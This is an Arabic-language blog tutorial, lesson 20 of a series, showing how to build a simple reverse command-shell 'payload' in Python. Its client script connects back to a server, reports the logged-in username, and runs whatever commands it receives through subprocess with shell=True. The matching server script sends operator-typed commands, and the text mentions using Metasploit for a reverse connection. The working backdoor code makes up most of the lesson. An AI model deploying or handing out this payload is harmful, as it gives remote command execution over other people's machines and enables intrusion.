القائمة الرئيسية

الصفحات

التعرف على كيفية انشاء بايلود بسيط سيرفر و عميل في بايثون Python الدرس |20|

 29a1e3b8-3e84-4b14-b60d-0fa97512e420-cd6559189a3c.small


مقدمة

درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution.
تأملوا الصورة التالية
4242

شرح مافي الصورة

نرى في الصورة نظام تشغيل os و على جانبه يوجد بيلود, اي يعني أن السطر الاسود المتصل بين النظام و البيلود هو الاتصال الدائم بينهما و الخط الأحمر هو ارسال و استقبال فيما بينهما, و آلية عمل هذا البيلود عبر مرحلتين و هي عن طريق سيرفر و السيرفر يتبع الـ handling أي على اتم الجاهزية لأستقبال اي اتصال به و بعده ارسلنا client الذي عبرناه كـ payload و ارسلناه إلى نظام التشغيل و عند تشغيل هذا البيلود سوف يتصل بـ command execution وبعدها بدأت عملية الاتصال بنجاح بالارسال و الأستقبال.
لرؤية شرح هذه الصورة على يوتيوب بشكل اوضح اضغط على الزر مشاهدة👇👇👇

لنأخذ سكربت لأنشاء بايلود في بايثون


ملف client
import socket
from  subprocess import PIPE , Popen
import os
#my client
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",5555))
    s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
    while True:
        command = s.recv(3500).decode("utf-8")
        p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
        if p.communicate()[0] == ''.encode('utf-8'):
            s.send(p.communicate()[1])
        else:
            print(s.send(p.communicate()[0]))
except socket.error as e:
    print(e)
4

ملف server
import socket
#my server
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(("127.0.0.1",5555))
    s.listen(5)
    client , addr = s.accept()
    print("connection from {0}:{1}".format(addr[0],addr[1]))
    while True:
        data = client.recv(500000)
        print(data.decode("utf-8"))
        command = str(input(" < command > "))
        client.send(command.encode("utf-8"))
except socket.error as e:
    print(e)
5

شرح السكربت

الــ client

استدعينا المكاتب عبر الأمر from  subprocess import PIPE , Popen و بعض النقاط شرحناها بالدرس السابق, و اعطيناه while القيمة True و امر الأستقبال 3500 و عملنا له utf-8 و استخدمنا مكتبة subprocess اختصرناه بـ p = Popen
p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)                                                                                   و ارسلنا نتيجه الأمر عبر  if p.communicate واستخدمنا الـ format .

الــ server

اضفنا تعديلات لسكربت السرفر بالدرس السابق while True يعني البدء في الأستقبال و الأرسال ووضعنا أمر الطباعه print فوقه
و اضفنا {1} لمعرفة البورت و الهوست,و بعدها بدأنا بأستقبال الداتا عبر data = client.recv(500000) و 500000 تعني حجم حزمة الاستقبال وبعده قلنا اطبعه لنا بصيغة تكون غير صيغة encode binnary و تكون الصيغه utf-8 و بعده اعطينا امر آخر = input قد عملنا rec و طباعة,  واعطيناه ارسال clint.send ارسلنا الأمر , يعني نرسل له الامر و استقبلها و بعده نرسل له من جديد.

لتشغيله

هنا اصبح الـ client هو البيلود الذي شرحناه في الصورة السابقة و يجب علينا هنا ان نستخدم هنا الميتاسبلويت, اول شي نفعله تشغيل الميتاسبلويت عبر الأمر msfconsole .........الخ.
ليحصل اتصال عكسي عند تشغيله,  نشغل اولاً السيرفر لأنتظار اتصال البيلود client عند الاتصال سيعرض لنا البورت و مستخدم الحاسب حسب الأمور الذي نكون قد وضعناها في السكربت.
لتحميل سكربتات الدرس بشكل مباشر من الرابط التالي
هل اعجبك الموضوع :

تعليقات

التنقل السريع